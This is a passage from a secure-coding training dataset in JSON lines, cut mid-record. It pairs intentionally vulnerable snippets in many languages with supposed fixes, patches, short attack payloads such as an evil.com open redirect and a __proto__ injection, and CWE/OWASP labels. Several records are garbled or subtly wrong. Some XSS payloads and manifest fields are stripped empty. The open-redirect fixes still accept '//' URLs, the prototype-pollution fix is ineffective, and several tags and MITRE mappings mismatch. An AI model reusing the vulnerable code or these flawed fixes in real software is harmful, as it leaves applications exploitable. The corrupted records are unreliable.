(1);", "root_cause": "Freeing same pointer twice.", "attack": "Heap corruption.", "impact": "Memory corruption.", "fix": "Use smart pointers.", "guideline": "Avoid manual delete.", "tags": ["double-free", "cpp", "memory-safety"], "metadata": {"domain": "IoT", "input_source": "internal", "auth_required": false}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"}
{"id": "SCP-000250", "language": "Ruby", "framework": "Rails", "title": "No rate limit on password reset", "description": "A Rails reset has no throttle, enabling enumeration.", "owasp": "A07:2021 - Identification and Authentication Failures", "owasp_api": "API4:2023 - Unrestricted Resource Consumption", "owasp_llm": "", "cwe": "CWE-307", "mitre_attack": "T1110 - Brute Force", "severity": "Medium", "difficulty": "Beginner", "vulnerable_code": "def create\n User.send_reset(params[:email]) # Vulnerable: no throttle\n redirect_to root_path\nend", "secure_code": "def create\n if rate_limited?(\"reset\", request.ip); render status: 429; return; end\n User.send_reset(params[:email])\n redirect_to root_path\nend", "patch": "--- a/passwords_controller.rb\n+++ b/passwords_controller.rb\n@@ -1,4 +1,6 @@\n-def create\n User.send_reset(params[:email])\n+ if rate_limited?(\"reset\", request.ip); render status: 429; return; end\n+ User.send_reset(params[:email])\n redirect_to root_path", "root_cause": "No throttle on reset.", "attack": "Mass reset emails; enumerate.", "impact": "Abuse, enumeration.", "fix": "Rate limit reset.", "guideline": "Throttle password reset.", "tags": ["rate-limiting", "rails", "ruby", "auth"], "metadata": {"domain": "Authentication systems", "input_source": "request_body", "auth_required": false}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N"}
{"id": "SCP-000331", "language": "C#", "framework": "ASP.NET Core", "title": "XSS via Html.Raw", "description": "A Razor view renders user input with Html.Raw.", "owasp": "A03:2021 - Injection", "owasp_api": "", "owasp_llm": "", "cwe": "CWE-79", "mitre_attack": "T1059.007 - Command and Scripting Interpreter: JavaScript", "severity": "Medium", "difficulty": "Beginner", "vulnerable_code": "@Html.Raw(Model.Comment)
\\", "secure_code": "@Model.Comment
\\", "patch": "--- a/Show.cshtml\\n+++ b/Show.cshtml\\n@@ -1,2 +1,2 @@\\n-@Html.Raw(Model.Comment)
\\n+@Model.Comment
\\", "root_cause": "Html.Raw disables encoding.", "attack": "Comment= runs.", "impact": "XSS.", "fix": "Use default encoding.", "guideline": "Avoid Html.Raw on user input.", "tags": ["xss", "csharp", "aspnet", "template"], "metadata": {"domain": "E-commerce", "input_source": "db", "auth_required": false}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N"}
{"id": "SCP-000196", "language": "Python", "framework": "FastAPI", "title": "Business logic: bypass 2FA with flag", "description": "A FastAPI login marks 2FA complete based on a client-supplied flag.", "owasp": "A07:2021 - Identification and Authentication Failures", "owasp_api": "API2:2023 - Broken Authentication", "owasp_llm": "", "cwe": "CWE-287", "mitre_attack": "T1600 - Weaken Encryption", "severity": "Critical", "difficulty": "Advanced", "vulnerable_code": "@app.post('/login')\nasync def login(b: Login):\n if authenticate(b.user, b.pw):\n twofa = b.twofa_passed # Vulnerable: client sets it\n return issue_session(b.user, twofa)\n raise 401", "secure_code": "@app.post('/login')\nasync def login(b: Login):\n u = authenticate(b.user, b.pw)\n if not u: raise HTTPException(401)\n if not verify_totp(u, b.totp): # Secure: server verifies\n raise HTTPException(401, '2fa required')\n return issue_session(u)", "patch": "--- a/login.py\n+++ b/login.py\n@@ -1,7 +1,8 @@\n- if authenticate(b.user, b.pw):\n- twofa = b.twofa_passed\n- return issue_session(b.user, twofa)\n+ u = authenticate(b.user, b.pw)\n+ if not u: raise HTTPException(401)\n+ if not verify_totp(u, b.totp):\n+ raise HTTPException(401, '2fa required')\n+ return issue_session(u)", "root_cause": "2FA status is trusted from the client.", "attack": "Attacker sets twofa_passed=true to skip 2FA.", "impact": "Full auth bypass.", "fix": "Verify 2FA server-side; never trust client flags.", "guideline": "Verify 2FA server-side.", "tags": ["auth", "fastapi", "python", "2fa"], "metadata": {"domain": "Authentication systems", "input_source": "request_body", "auth_required": false}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}
{"id": "SCP-000198", "language": "JavaScript", "framework": "Next.js", "title": "Insecure server action without auth", "description": "A Next.js server action mutates data without checking the session.", "owasp": "A01:2021 - Broken Access Control", "owasp_api": "API1:2023 - Broken Object Level Authorization", "owasp_llm": "", "cwe": "CWE-862", "mitre_attack": "T1190 - Exploit Public-Facing Application", "severity": "High", "difficulty": "Intermediate", "vulnerable_code": "'use server';\nexport async function deletePost(id: string) {\n await db.post.delete(id); // Vulnerable: no auth\n}", "secure_code": "'use server';\nimport { getServerSession } from 'next-auth';\nexport async function deletePost(id: string) {\n const s = await getServerSession();\n if (!s?.user) throw new Error('unauthorized'); // Secure\n await db.post.delete({ where: { id, authorId: s.user.id } });\n}", "patch": "--- a/actions.ts\n+++ b/actions.ts\n@@ -1,4 +1,7 @@\n-export async function deletePost(id: string) {\n- await db.post.delete(id);\n+export async function deletePost(id: string) {\n+ const s = await getServerSession();\n+ if (!s?.user) throw new Error('unauthorized');\n+ await db.post.delete({ where: { id, authorId: s.user.id } });", "root_cause": "Server action has no session/auth check.", "attack": "Anyone calls deletePost for any id.", "impact": "Unauthorized deletion.", "fix": "Check session; scope by owner.", "guideline": "Authorize server actions.", "tags": ["authorization", "nextjs", "typescript", "access-control"], "metadata": {"domain": "E-commerce", "input_source": "request_body", "auth_required": true}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"}
{"id": "SCP-000033", "language": "Swift", "framework": "iOS", "title": "Insecure local storage of credentials", "description": "An iOS app persists a user token in UserDefaults, readable from a device backup.", "owasp": "A02:2021 - Cryptographic Failures", "owasp_api": "", "owasp_llm": "", "cwe": "CWE-312", "mitre_attack": "T1539 - Steal Web Session Cookie", "severity": "High", "difficulty": "Beginner", "vulnerable_code": "UserDefaults.standard.set(token, forKey: \"authToken\")\n// Vulnerable: plaintext in plist, exposed in backups/iCloud\n", "secure_code": "let query: [String: Any] = [\n kSecClass as String: kSecClassGenericPassword,\n kSecAttrAccount as String: \"authToken\",\n kSecValueData as String: Data(token.utf8),\n kSecAttrAccessible as String: kSecAttrAccessibleWhenUnlockedThisDeviceOnly\n]\nSecItemAdd(query as CFDictionary, nil) // Secure: Keychain, no iCloud\n", "patch": "--- a/AuthStore.swift\n+++ b/AuthStore.swift\n@@ -1,2 +1,8 @@\n-UserDefaults.standard.set(token, forKey: \"authToken\")\n+let query: [String: Any] = [ kSecClass: kSecClassGenericPassword,\n+ kSecAttrAccount: \"authToken\", kSecValueData: Data(token.utf8),\n+ kSecAttrAccessible: kSecAttrAccessibleWhenUnlockedThisDeviceOnly ]\n+SecItemAdd(query as CFDictionary, nil)\n", "root_cause": "Sensitive tokens are stored in a world-readable plist instead of the hardware-backed Keychain.", "attack": "Attacker with a backup or jailbroken device reads the token and replays the session.", "impact": "Session hijacking and account takeover.", "fix": "Store secrets in the Keychain with appropriate accessibility; never in UserDefaults/plist.", "guideline": "Use Keychain for credentials; set ThisDeviceOnly to exclude from iCloud backups.", "tags": ["secrets", "ios", "swift", "mobile"], "metadata": {"domain": "Authentication systems", "input_source": "device", "auth_required": false}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"}
{"id": "SCP-000316", "language": "Go", "framework": "Gin", "title": "Business logic: negative quantity", "description": "A Go cart handler accepts a negative quantity.", "owasp": "A04:2021 - Insecure Design", "owasp_api": "API3:2023 - Broken Object Property Level Authorization", "owasp_llm": "", "cwe": "CWE-840", "mitre_attack": "T1190 - Exploit Public-Facing Application", "severity": "Medium", "difficulty": "Intermediate", "vulnerable_code": "type Cart struct{ Qty int }\njson.NewDecoder(r.Body).Decode(&cart) // Vulnerable: negative qty", "secure_code": "type Cart struct{ Qty int `json:\"qty\" binding=\"required,gt=0,lte=100\"` }\nif err := c.ShouldBindJSON(&cart); err != nil { c.AbortWithStatus(400); return } // Secure", "patch": "--- a/cart.go\n+++ b/cart.go\n@@ -1,3 +1,4 @@\n-type Cart struct{ Qty int }\n-json.NewDecoder(r.Body).Decode(&cart)\n+type Cart struct{ Qty int `json:\"qty\" binding=\"required,gt=0,lte=100\"` }\n+if err := c.ShouldBindJSON(&cart); err != nil { c.AbortWithStatus(400); return }", "root_cause": "Client qty not bounded.", "attack": "qty=-5 => negative charge.", "impact": "Revenue loss.", "fix": "Validate with binding tags.", "guideline": "Validate business values.", "tags": ["business-logic", "go", "gin", "ecommerce"], "metadata": {"domain": "E-commerce", "input_source": "request_body", "auth_required": true}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N"}
{"id": "SCP-000438", "language": "Python", "framework": "Flask", "title": "Hardcoded Stripe key", "description": "Fintech app hardcodes a Stripe secret key.", "owasp": "A02:2021 - Cryptographic Failures", "owasp_api": "", "owasp_llm": "", "cwe": "CWE-798", "mitre_attack": "T1552.001", "severity": "Critical", "difficulty": "Beginner", "vulnerable_code": "stripe.api_key = \"sk_live_51Hx9fKe2mN\" # Vulnerable", "secure_code": "stripe.api_key = os.environ[\"STRIPE_SECRET_KEY\"] # env", "patch": "--- a/payments.py\n+++ b/payments.py\n@@ -1,2 +1,2 @@\n-stripe.api_key = \"sk_live_51Hx9fKe2mN\"\n+stripe.api_key = os.environ[\"STRIPE_SECRET_KEY\"]", "root_cause": "Secret in source.", "attack": "Charge cards / read transactions.", "impact": "Payment fraud.", "fix": "Use env/secret manager.", "guideline": "Externalize payment keys.", "tags": ["secrets", "fintech", "banking", "config"], "metadata": {"auth_required": false, "domain": "Banking", "input_source": "source_code"}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}
{"id": "SCP-000440", "language": "JavaScript", "framework": "Node.js", "title": "Prototype pollution in config merge", "description": "Node fintech service deep-merges untrusted config.", "owasp": "A08:2021 - Integrity Failures", "owasp_api": "", "owasp_llm": "", "cwe": "CWE-1321", "mitre_attack": "T1190", "severity": "High", "difficulty": "Advanced", "vulnerable_code": "const cfg = _.merge(base, JSON.parse(req.body.config));", "secure_code": "const cfg = JSON.parse(req.body.config);\nconst safe = JSON.parse(JSON.stringify(cfg)); // no proto keys", "patch": "--- a/config.js\n+++ b/config.js\n@@ -1,2 +1,3 @@\n-const cfg = _.merge(base, JSON.parse(req.body.config));\n+const cfg = JSON.parse(req.body.config);\n+const safe = JSON.parse(JSON.stringify(cfg));", "root_cause": "Untrusted deep merge.", "attack": "config={__proto__:{isAdmin:True}}", "impact": "Privilege escalation.", "fix": "Avoid recursive merge of untrusted.", "guideline": "Sanitize proto keys.", "tags": ["prototype-pollution", "fintech", "node", "injection"], "metadata": {"auth_required": false, "domain": "Banking", "input_source": "request_body"}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"}
{"id": "SCP-000414", "language": "Swift", "framework": "iOS", "title": "Keychain item accessible when unlocked (weak protection)", "description": "A Keychain item is accessible after first unlock indefinitely.", "owasp": "A02:2021 - Cryptographic Failures", "owasp_api": "", "owasp_llm": "", "cwe": "CWE-312", "mitre_attack": "T1552 - Unsecured Credentials", "severity": "Medium", "difficulty": "Intermediate", "vulnerable_code": "let accessible = kSecAttrAccessibleWhenUnlocked // Vulnerable: persists after lock\\", "secure_code": "let accessible = kSecAttrAccessibleWhenUnlockedThisDeviceOnly // Secure: device-bound\\", "patch": "--- a/Auth.swift\\n+++ b/Auth.swift\\n@@ -1,3 +1,3 @@\\n-let accessible = kSecAttrAccessibleWhenUnlocked\\n+let accessible = kSecAttrAccessibleWhenUnlockedThisDeviceOnly\\", "root_cause": "Weak Keychain accessibility.", "attack": "Extract token from locked device backup.", "impact": "Credential theft.", "fix": "Use ThisDeviceOnly.", "guideline": "Harden Keychain items.", "tags": ["secrets", "swift", "ios", "storage"], "metadata": {"domain": "Mobile", "input_source": "device", "auth_required": false}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N"}
{"id": "SCP-000079", "language": "JavaScript", "framework": "GraphQL", "title": "GraphQL introspection enabled in production", "description": "A GraphQL server keeps introspection on in production, leaking the full schema.", "owasp": "A05:2021 - Security Misconfiguration", "owasp_api": "", "owasp_llm": "", "cwe": "CWE-215", "mitre_attack": "T1190 - Exploit Public-Facing Application", "severity": "Low", "difficulty": "Beginner", "vulnerable_code": "const server = new ApolloServer({ typeDefs, resolvers,\n introspection: true }); // Vulnerable: on in prod\n", "secure_code": "const server = new ApolloServer({ typeDefs, resolvers,\n introspection: process.env.NODE_ENV !== 'production',\n csrfPrevention: true });\n", "patch": "--- a/graphql/server.js\n+++ b/graphql/server.js\n@@ -1,3 +1,4 @@\n- introspection: true });\n+ introspection: process.env.NODE_ENV !== 'production',\n+ csrfPrevention: true });\n", "root_cause": "Introspection is not disabled in production, exposing the schema to attackers.", "attack": "Query __schema to map every type/field and find unprotected ones.", "impact": "Reconnaissance accelerating attacks.", "fix": "Disable introspection in production; enable CSRF prevention.", "guideline": "Gate introspection to non-prod; enable CSRF prevention.", "tags": ["graphql", "introspection", "javascript", "config"], "metadata": {"domain": "REST API", "input_source": "schema", "auth_required": false}, "cvss_vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:N/A:N"}
{"id": "SCP-000057", "language": "Ruby", "framework": "Rails", "title": "Reflected XSS via raw HTML", "description": "A Rails view renders a param inside html_safe, bypassing auto-escaping.", "owasp": "A03:2021 - Injection", "owasp_api": "", "owasp_llm": "", "cwe": "CWE-79", "mitre_attack": "T1059.007 - Command and Scripting Interpreter: JavaScript", "severity": "Medium", "difficulty": "Beginner", "vulnerable_code": "\n<%= params[:name].html_safe %>
\n", "secure_code": "\n<%= h(params[:name]) %>
\n", "patch": "--- a/app/views/greeting.html.erb\n+++ b/app/views/greeting.html.erb\n@@ -1,2 +1,2 @@\n-<%= params[:name].html_safe %>
\n+<%= h(params[:name]) %>
\n", "root_cause": "html_safe marks untrusted data as safe, disabling Rails auto-escaping.", "attack": "name= runs in the victim's browser.", "impact": "Stored XSS, session theft.", "fix": "Default to escaped output; sanitize only vetted HTML.", "guideline": "Avoid |safe on user input; use escaped output.", "tags": ["xss", "flask", "python", "jinja"], "metadata": {"domain": "E-commerce", "input_source": "db", "auth_required": false}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N"}
{"id": "SCP-000034", "language": "Swift", "framework": "iOS", "title": "TLS certificate validation disabled", "description": "An iOS app configures a URLSession that accepts any certificate, enabling MITM.", "owasp": "A02:2021 - Cryptographic Failures", "owasp_api": "", "owasp_llm": "", "cwe": "CWE-295", "mitre_attack": "T1557 - Adversary-in-the-Middle", "severity": "High", "difficulty": "Intermediate", "vulnerable_code": "class DisableTLS: NSObject, URLSessionDelegate {\n func urlSession(_ s: URLSession, didReceive c: URLAuthenticationChallenge,\n completionHandler: @escaping (URLSession.AuthChallengeDisposition, URLCredential?) -> Void) {\n // Vulnerable: accepts any certificate\n completionHandler(.useCredential, URLCredential(trust: c.protectionSpace.serverTrust!))\n }\n}\n", "secure_code": "let config = URLSessionConfiguration.ephemeral\nconfig.tlsMinimumSupportedProtocolVersion = .TLSv12\n// Secure: default delegate performs standard certificate chain validation.\nlet session = URLSession(configuration: config)\n", "patch": "--- a/Network.swift\n+++ b/Network.swift\n@@ -1,6 +1,4 @@\n-class DisableTLS: NSObject, URLSessionDelegate { ... accepts any cert ... }\n+let config = URLSessionConfiguration.ephemeral\n+config.tlsMinimumSupportedProtocolVersion = .TLSv12\n", "root_cause": "Custom delegate blindly trusts server certificates, defeating transport security.", "attack": "An on-path attacker presents a self-signed cert; the app accepts it and the attacker reads/modifies traffic.", "impact": "Full interception of credentials and data in transit.", "fix": "Use default validation; only relax for genuine pinned certificates via proper pinning.", "guideline": "Never disable certificate validation; use standard TLS or certificate pinning.", "tags": ["tls", "ios", "swift", "mitm"], "metadata": {"domain": "Banking", "input_source": "network", "auth_required": false}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"}
{"id": "SCP-000138", "language": "TypeScript", "framework": "NestJS", "title": "IDOR on notification settings", "description": "A NestJS endpoint updates notification prefs by id without owner check.", "owasp": "A01:2021 - Broken Access Control", "owasp_api": "API1:2023 - Broken Object Level Authorization", "owasp_llm": "", "cwe": "CWE-639", "mitre_attack": "T1190 - Exploit Public-Facing Application", "severity": "High", "difficulty": "Intermediate", "vulnerable_code": "@Patch('notifications/:id')\nupdate(@Param('id') id: string, @Body() b) {\n return this.repo.update(id, b); // Vulnerable\n}", "secure_code": "@Patch('notifications/:id')\nupdate(@Req() req, @Param('id') id: string, @Body() b) {\n return this.repo.update({ where: { id, userId: req.user.id } }, b); // Secure\n}", "patch": "--- a/notif.controller.ts\n+++ b/notif.controller.ts\n@@ -1,4 +1,5 @@\n-update(@Param('id') id: string, @Body() b) {\n- return this.repo.update(id, b);\n+update(@Req() req, @Param('id') id: string, @Body() b) {\n+ return this.repo.update({ where: { id, userId: req.user.id } }, b);", "root_cause": "No ownership filter on update.", "attack": "Attacker edits another user's notification prefs.", "impact": "Privacy violation, abuse.", "fix": "Scope updates by owner.", "guideline": "Scope mutations by authenticated user.", "tags": ["idor", "nestjs", "typescript", "access-control"], "metadata": {"domain": "E-commerce", "input_source": "path_param", "auth_required": true}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"}
{"id": "SCP-000206", "language": "Java", "framework": "Spring Boot", "title": "No authorization on Spring actuator", "description": "A Spring Boot actuator is exposed without authentication.", "owasp": "A05:2021 - Security Misconfiguration", "owasp_api": "", "owasp_llm": "", "cwe": "CWE-862", "mitre_attack": "T1190 - Exploit Public-Facing Application", "severity": "High", "difficulty": "Beginner", "vulnerable_code": "management.endpoints.web.exposure.include=* # Vulnerable: no auth", "secure_code": "management.endpoints.web.exposure.include=health,info\nmanagement.endpoint.env.show-values=never\nspring.security.include ... /actuator/** requires ADMIN", "patch": "--- a/application.properties\n+++ b/application.properties\n@@ -1,2 +1,4 @@\n-management.endpoints.web.exposure.include=*\n+management.endpoints.web.exposure.include=health,info\n+management.endpoint.env.show-values=never\n+# secure /actuator/** with ADMIN role", "root_cause": "Actuator exposed without auth reveals internals.", "attack": "Attacker reads /actuator/env for secrets.", "impact": "Info disclosure.", "fix": "Limit exposure; require auth on actuator.", "guideline": "Secure actuator endpoints.", "tags": ["config", "spring", "java", "actuator"], "metadata": {"domain": "Backend", "input_source": "source_code", "auth_required": false}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"}
{"id": "SCP-000162", "language": "Java", "framework": "Spring Boot", "title": "Unvalidated redirect in Spring", "description": "A Spring controller redirects to a request param without validation.", "owasp": "A01:2021 - Broken Access Control", "owasp_api": "", "owasp_llm": "", "cwe": "CWE-601", "mitre_attack": "T1566 - Phishing", "severity": "Medium", "difficulty": "Beginner", "vulnerable_code": "@GetMapping(\"/go\")\npublic String go(@RequestParam String url) { return \"redirect:\" + url; } // Vulnerable", "secure_code": "@GetMapping(\"/go\")\npublic String go(@RequestParam String url) {\n if (!url.startsWith(\"/\")) return \"redirect:/\"; // Secure\n return \"redirect:\" + url;\n}", "patch": "--- a/GoController.java\n+++ b/GoController.java\n@@ -1,3 +1,4 @@\n- return \"redirect:\" + url;\n+ if (!url.startsWith(\"/\")) return \"redirect:/\";\n+ return \"redirect:\" + url;", "root_cause": "Unvalidated redirect.", "attack": "go?url=//evil.com phishing.", "impact": "Phishing.", "fix": "Allowlist relative paths.", "guideline": "Validate redirects.", "tags": ["open-redirect", "spring", "java", "phishing"], "metadata": {"domain": "Authentication systems", "input_source": "query_param", "auth_required": false}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N"}
{"id": "SCP-000463", "language": "Ruby", "framework": "Rails", "title": "SSRF in webhook tester", "description": "Rails action fetches user-supplied webhook URL.", "owasp": "A10:2021 - SSRF", "owasp_api": "", "owasp_llm": "", "cwe": "CWE-918", "mitre_attack": "T1190", "severity": "High", "difficulty": "Intermediate", "vulnerable_code": "def test\n render plain: Net::HTTP.get(URI(params[:url]))\nend", "secure_code": "def test\n uri = URI(params[:url])\n raise \"bad\" unless uri.host.in?(ALLOWED)\n render plain: Net::HTTP.get(uri)\nend", "patch": "--- a/webhooks_controller.rb\n+++ b/webhooks_controller.rb\n@@ -1,3 +1,5 @@\n-def test\n- render plain: Net::HTTP.get(URI(params[:url]))\n+def test\n+ uri = URI(params[:url])\n+ raise \"bad\" unless uri.host.in?(ALLOWED)\n+ render plain: Net::HTTP.get(uri)\n end", "root_cause": "Unvalidated fetch URL.", "attack": "Fetch internal metadata.", "impact": "Metadata theft.", "fix": "Allowlist hosts.", "guideline": "Validate fetch targets.", "tags": ["ssrf", "rails", "ruby", "rce"], "metadata": {"auth_required": false, "domain": "Cloud", "input_source": "query_param"}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}
{"id": "SCP-000118", "language": "PHP", "framework": "Laravel", "title": "Insecure unserialize of cookie", "description": "A Laravel app unserializes a cookie value, enabling object injection.", "owasp": "A08:2021 - Software and Data Integrity Failures", "owasp_api": "", "owasp_llm": "", "cwe": "CWE-502", "mitre_attack": "T1059 - Command and Scripting Interpreter", "severity": "Critical", "difficulty": "Advanced", "vulnerable_code": "$data = unserialize($_COOKIE['prefs']); // Vulnerable\necho $data['theme'];", "secure_code": "$data = json_decode($_COOKIE['prefs'] ?? '{}', true); // Secure\necho htmlspecialchars($data['theme'] ?? 'light');", "patch": "--- a/prefs.php\n+++ b/prefs.php\n@@ -1,3 +1,3 @@\n-$data = unserialize($_COOKIE['prefs']);\n-echo $data['theme'];\n+$data = json_decode($_COOKIE['prefs'] ?? '{}', true);\n+echo htmlspecialchars($data['theme'] ?? 'light');", "root_cause": "PHP unserialize on cookie data enables POP chain RCE.", "attack": "Attacker sends a crafted serialized object to run code.", "impact": "Remote code execution.", "fix": "Use JSON; validate and escape.", "guideline": "Never unserialize untrusted data; use JSON.", "tags": ["deserialization", "laravel", "php", "rce"], "metadata": {"domain": "E-commerce", "input_source": "cookie", "auth_required": false}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}
{"id": "SCP-000029", "language": "C#", "framework": "ASP.NET Core", "title": "Missing authorization on API controller", "description": "An ASP.NET Core controller exposes patient records with no [Authorize] attribute.", "owasp": "A01:2021 - Broken Access Control", "owasp_api": "API1:2023 - Broken Object Level Authorization", "owasp_llm": "", "cwe": "CWE-862", "mitre_attack": "T1190 - Exploit Public-Facing Application", "severity": "Critical", "difficulty": "Beginner", "vulnerable_code": "[ApiController]\n[Route(\"api/patients\")]\npublic class PatientsController : ControllerBase\n{\n [HttpGet(\"{id}\")]\n public Patient Get(int id) => _repo.Get(id); // Vulnerable: no auth\n}\n", "secure_code": "[ApiController]\n[Route(\"api/patients\")]\n[Authorize(Policy = \"Clinician\")]\npublic class PatientsController : ControllerBase\n{\n [HttpGet(\"{id}\")]\n public ActionResult Get(int id)\n {\n var p = _repo.GetForUser(id, User.GetUserId());\n return p is null ? NotFound() : p;\n }\n}\n", "patch": "--- a/PatientsController.cs\n+++ b/PatientsController.cs\n@@ -3,6 +3,7 @@\n+[Authorize(Policy = \"Clinician\")]\n public class PatientsController : ControllerBase\n {\n+ var p = _repo.GetForUser(id, User.GetUserId());\n+ return p is null ? NotFound() : p;\n", "root_cause": "No authorization policy is attached, so any anonymous caller reads patient data.", "attack": "Caller enumerates /api/patients/1..N to scrape PHI.", "impact": "Mass disclosure of protected health information (HIPAA violation).", "fix": "Apply [Authorize] with a policy and scope queries to the authenticated principal.", "guideline": "Require authorization policies on every sensitive controller; scope by user.", "tags": ["authorization", "aspnet", "csharp", "healthcare"], "metadata": {"domain": "Healthcare", "input_source": "path_param", "auth_required": true}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}
{"id": "SCP-000167", "language": "Kotlin", "framework": "Android", "title": "Insecure broadcast receiver exported", "description": "An Android receiver is exported without permission, allowing arbitrary commands.", "owasp": "A01:2021 - Broken Access Control", "owasp_api": "", "owasp_llm": "", "cwe": "CWE-925", "mitre_attack": "T1398 - Mobile Application Exploitation", "severity": "High", "difficulty": "Intermediate", "vulnerable_code": " ", "secure_code": "", "patch": "--- a/AndroidManifest.xml\n+++ b/AndroidManifest.xml\n@@ -1,2 +1,3 @@\n-\n+", "root_cause": "Exported receiver accepts broadcasts from any app.", "attack": "Malicious app sends a command broadcast.", "impact": "Unauthorized action in app context.", "fix": "Set exported=false or require a signature permission.", "guideline": "Don't export receivers without permission.", "tags": ["android", "kotlin", "exported", "mobile"], "metadata": {"domain": "IoT", "input_source": "intent", "auth_required": false}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"}
{"id": "SCP-000361", "language": "PHP", "framework": "Laravel", "title": "Business logic: negative quantity", "description": "A cart uses a client-supplied quantity without bounds.", "owasp": "A04:2021 - Insecure Design", "owasp_api": "API3:2023 - Broken Object Property Level Authorization", "owasp_llm": "", "cwe": "CWE-840", "mitre_attack": "T1190 - Exploit Public-Facing Application", "severity": "Medium", "difficulty": "Intermediate", "vulnerable_code": "$cart->qty = $request->input(\"qty\"); $cart->save(); // Vulnerable: negative\\", "secure_code": "$q = (int)$request->input(\"qty\");\\nif ($q <= 0 || $q > 100) abort(400); // Secure\\n$cart->qty = $q; $cart->save();\\", "patch": "--- a/CartController.php\\n+++ b/CartController.php\\n@@ -1,3 +1,5 @@\\n-$cart->qty = $request->input(\"qty\"); $cart->save();\\n+$q = (int)$request->input(\"qty\");\\n+if ($q <= 0 || $q > 100) abort(400);\\n+$cart->qty = $q; $cart->save();\\", "root_cause": "Client qty not bounded.", "attack": "qty=-5 => negative charge.", "impact": "Revenue loss.", "fix": "Validate qty server-side.", "guideline": "Validate business values.", "tags": ["business-logic", "php", "laravel", "ecommerce"], "metadata": {"domain": "E-commerce", "input_source": "request_body", "auth_required": true}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N"}
{"id": "SCP-000448", "language": "Rust", "framework": "Actix", "title": "Insecure deserialization", "description": "Actix handler decodes untrusted bytes with a deserializer.", "owasp": "A08:2021 - Integrity Failures", "owasp_api": "", "owasp_llm": "", "cwe": "CWE-502", "mitre_attack": "T1190", "severity": "Medium", "difficulty": "Advanced", "vulnerable_code": "let v: MyStruct = ron::de::from_bytes(&body)?;", "secure_code": "let v: MyStruct = serde_json::from_slice(&body)?; // strict schema", "patch": "--- a/handler.rs\n+++ b/handler.rs\n@@ -1,2 +1,2 @@\n-let v: MyStruct = ron::de::from_bytes(&body)?;\n+let v: MyStruct = serde_json::from_slice(&body)?;", "root_cause": "Deserializing untrusted bytes.", "attack": "Craft malicious payload.", "impact": "Logic abuse / RCE.", "fix": "Use strict schema deserializer.", "guideline": "Validate deserialized data.", "tags": ["deserialization", "rust", "actix", "injection"], "metadata": {"auth_required": false, "domain": "Microservices", "input_source": "request_body"}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N"}
{"id": "SCP-000296", "language": "Scala", "framework": "Play", "title": "Open redirect", "description": "A Play action redirects to a param without validation.", "owasp": "A01:2021 - Broken Access Control", "owasp_api": "", "owasp_llm": "", "cwe": "CWE-601", "mitre_attack": "T1566 - Phishing", "severity": "Medium", "difficulty": "Beginner", "vulnerable_code": "def go = Action { req =>\n Redirect(req.getQueryString(\"url\").getOrElse(\"/\")) // Vulnerable\n}", "secure_code": "def go = Action { req =>\n val u = req.getQueryString(\"url\").filter(_.startsWith(\"/\"))\n Redirect(u.getOrElse(\"/\")) // Secure\n}", "patch": "--- a/Links.scala\n+++ b/Links.scala\n@@ -1,3 +1,4 @@\n-def go = Action { req =>\n Redirect(req.getQueryString(\"url\").getOrElse(\"/\"))\n+ val u = req.getQueryString(\"url\").filter(_.startsWith(\"/\"))\n+ Redirect(u.getOrElse(\"/\"))", "root_cause": "Unvalidated redirect.", "attack": "url=//evil.com phishing.", "impact": "Phishing.", "fix": "Allowlist relative.", "guideline": "Validate redirects.", "tags": ["open-redirect", "scala", "play", "phishing"], "metadata": {"domain": "Authentication systems", "input_source": "query_param", "auth_required": false}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N"}
